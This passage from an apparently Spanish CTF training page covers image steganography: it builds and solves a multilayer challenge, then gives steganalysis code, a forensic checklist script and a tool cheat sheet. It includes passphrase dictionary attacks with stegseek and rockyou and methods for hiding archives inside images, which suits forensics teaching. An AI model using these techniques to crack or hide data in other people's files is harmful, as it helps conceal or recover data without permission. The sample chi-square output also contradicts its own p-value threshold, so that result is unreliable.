# "VGhlIHJlYWwga2V5OiBzcDNjdHIz" = base64("The real key: sp3ctr3")

# Appendear el ZIP al final de la imagen outer_challenge.jpg
cat outer_challenge.jpg layer2.zip > challenge_multilayer.jpg

## RESOLVER el reto (perspectiva del jugador)
echo "=== Paso 1: Reconocimiento ==="
file challenge_multilayer.jpg && exiftool challenge_multilayer.jpg | grep -E "Comment|GPS|XP"
Comment: Coordinates lead the way. ZIP awaits.
XPComment: VGhlIHJlYWwga2V5OiBzcDNjdHIz

echo "=== Paso 2: Decodificar pista ==="
echo "VGhlIHJlYWwga2V5OiBzcDNjdHIz" | base64 -d
The real key: sp3ctr3

echo "=== Paso 3: Extraer ZIP con binwalk ==="
binwalk -e challenge_multilayer.jpg
ls _challenge_multilayer.jpg.extracted/
layer2.zip

echo "=== Paso 4: Descomprimir ZIP ==="
unzip -P "sp3ctr3" _challenge_multilayer.jpg.extracted/layer2.zip
inflating: inner_image.jpg

echo "=== Paso 5: Stegseek contra la imagen interna ==="
stegseek inner_image.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "gr0undz3r0"
[i] Original filename: "final_flag.txt"

cat final_flag.txt
GhostAcademy{mult1l4y3r_st3g_m4st3r_2024}
Defensa
🔭 Detección de Esteganografía

Detectar esteganografía sin saber dónde está es un problema estadístico. Las herramientas de steganalysis buscan anomalías en la distribución de los LSBs comparando con imágenes naturales.

BASH + Python — Detectar posible esteganografía
# 1. Chi-square test — si los LSBs son demasiado "uniformes", hay steg
python3 << 'EOF'
from PIL import Image
import numpy as np
from scipy.stats import chisquare

def chi_square_test(image_path):
    img = Image.open(image_path).convert('RGB')
    arr = np.array(img)
    
    # Analizar canal R
    channel = arr[:,:,0].flatten()
    
    # Pares de valores consecutivos deben tener distribución similar en steg LSB
    even = np.sum(channel % 2 == 0)
    odd = np.sum(channel % 2 == 1)
    total = len(channel)
    expected = total / 2
    
    chi2, p_value = chisquare([even, odd], [expected, expected])
    
    print(f"Imagen: {image_path}")
    print(f"Pixels pares: {even} ({even/total*100:.1f}%)")
    print(f"Pixels impares: {odd} ({odd/total*100:.1f}%)")
    print(f"Chi2: {chi2:.4f}, p-value: {p_value:.6f}")
    
    if p_value < 0.05:
        print("RESULTADO: Distribución sospechosa — posible esteganografía LSB")
    else:
        print("RESULTADO: Distribución normal — no se detecta steg LSB")

chi_square_test("imagen_normal.png")
chi_square_test("imagen_con_lsb.png")
EOF
Imagen: imagen_normal.png
Pixels pares: 241230 (50.3%) | Pixels impares: 238770 (49.7%)
Chi2: 0.0125, p-value: 0.911 — Distribución normal

Imagen: imagen_con_lsb.png
Pixels pares: 240000 (50.0%) | Pixels impares: 240000 (50.0%)
Chi2: 0.0000, p-value: 1.000 — RESULTADO: Distribución sospechosa (demasiado uniforme)

# 2. stegdetect — detector clásico de steghide/jsteg/outguess
sudo apt install stegdetect -y
stegdetect suspicious.jpg
suspicious.jpg : steghide(**)
# (**) = alta confianza en detección

# 3. Comparar tamaño de archivos
# Una imagen steganografiada con steghide es más grande que el original
du -b original.jpg steg.jpg
245678  original.jpg
249834  steg.jpg  ← 4KB adicionales
Defensa
🔬 Forense de Imágenes

Metodología completa de análisis forense de imágenes sospechosas: desde el primer vistazo hasta la extracción de todos los datos posibles.

BASH — Checklist forense de imagen sospechosa
#!/bin/bash — forensics_image.sh
TARGET="$1"
echo "=== GhostAcademy Forensics: $TARGET ==="

# 1. Identificación básica
file "$TARGET"
xxd "$TARGET" | head -3
du -sh "$TARGET"

# 2. Metadatos completos
exiftool "$TARGET" | tee /tmp/exif_output.txt
grep -i "flag\|pass\|key\|hint\|secret\|ctf" /tmp/exif_output.txt

# 3. Strings legibles
strings "$TARGET" | grep -E "[A-Za-z0-9+/]{20,}=" | head -10
# ↑ buscar Base64 largo
strings "$TARGET" | grep -i "GhostAcademy\|flag\|CTF{"

# 4. Archivos incrustados
binwalk "$TARGET"
foremost -i "$TARGET" -o /tmp/foremost_out

# 5. Esteganografía LSB (si es PNG/BMP)
zsteg "$TARGET" -a 2>/dev/null | head -20

# 6. Intentar steghide sin contraseña
steghide extract -sf "$TARGET" -p "" -f 2>&1

# 7. Stegseek con rockyou
stegseek "$TARGET" /usr/share/wordlists/rockyou.txt 2>&1

# 8. Subir a Aperi'Solve para análisis completo
echo "[*] Subir a https://www.aperisolve.com para análisis visual"
Recursos
✅ Referencia Rápida

Cheatsheet para CTF players y analistas forenses de imágenes.

⚡ Stegseek — Comandos

  • Ataque básico: stegseek imagen.jpg /usr/share/wordlists/rockyou.txt
  • Con wordlist custom: stegseek imagen.jpg mi_wordlist.txt
  • Especificar output: stegseek imagen.jpg rockyou.txt output.bin
  • Extraer sin contraseña: steghide extract -sf imagen.jpg -p "" -f
  • Ver info steghide: steghide info imagen.jpg

🌊 Aperi'Solve — Uso

  • Plataforma web: www.aperisolve.com
  • zsteg local: zsteg imagen.png -a
  • Extraer canal específico: zsteg imagen.png -E "b1,rgb,lsb,xy" > out.bin
  • exiftool: exiftool imagen.jpg | grep -i "pass\|key\|flag"
  • binwalk incrustados: binwalk -e imagen.jpg
  • foremost carving: foremost -i imagen.jpg -o /tmp/out

Metodología CTF

  • 1. file imagen — verificar formato real
  • 2. exiftool imagen — buscar pistas en metadatos
  • 3. strings imagen — texto legible y Base64
  • 4. binwalk imagen — archivos incrustados
  • 5. steghide extract -p "" — probar sin contraseña
  • 6. stegseek imagen rockyou.txt — ataque diccionario
  • 7. zsteg imagen -a (solo PNG/BMP) — LSB analysis
  • 8. Subir a aperisolve.com para análisis completo
  • 9. ELA para JPEG — detectar zonas editadas
  • 10. Analizar bit-planes manualmente si todo lo anterior falla

URLs y Referencias

  • Aperi'Solve: www.aperisolve.com
  • Stegseek GitHub: github.com/RickdeJager/stegseek
  • StegOnline: stegonline.georgeom.net (alternativa web a zsteg)
  • Forensically: 29a.ch/photo-forensics (ELA online)
  • CTF Time steg challenges: ctftime.org (filtrar por Stego)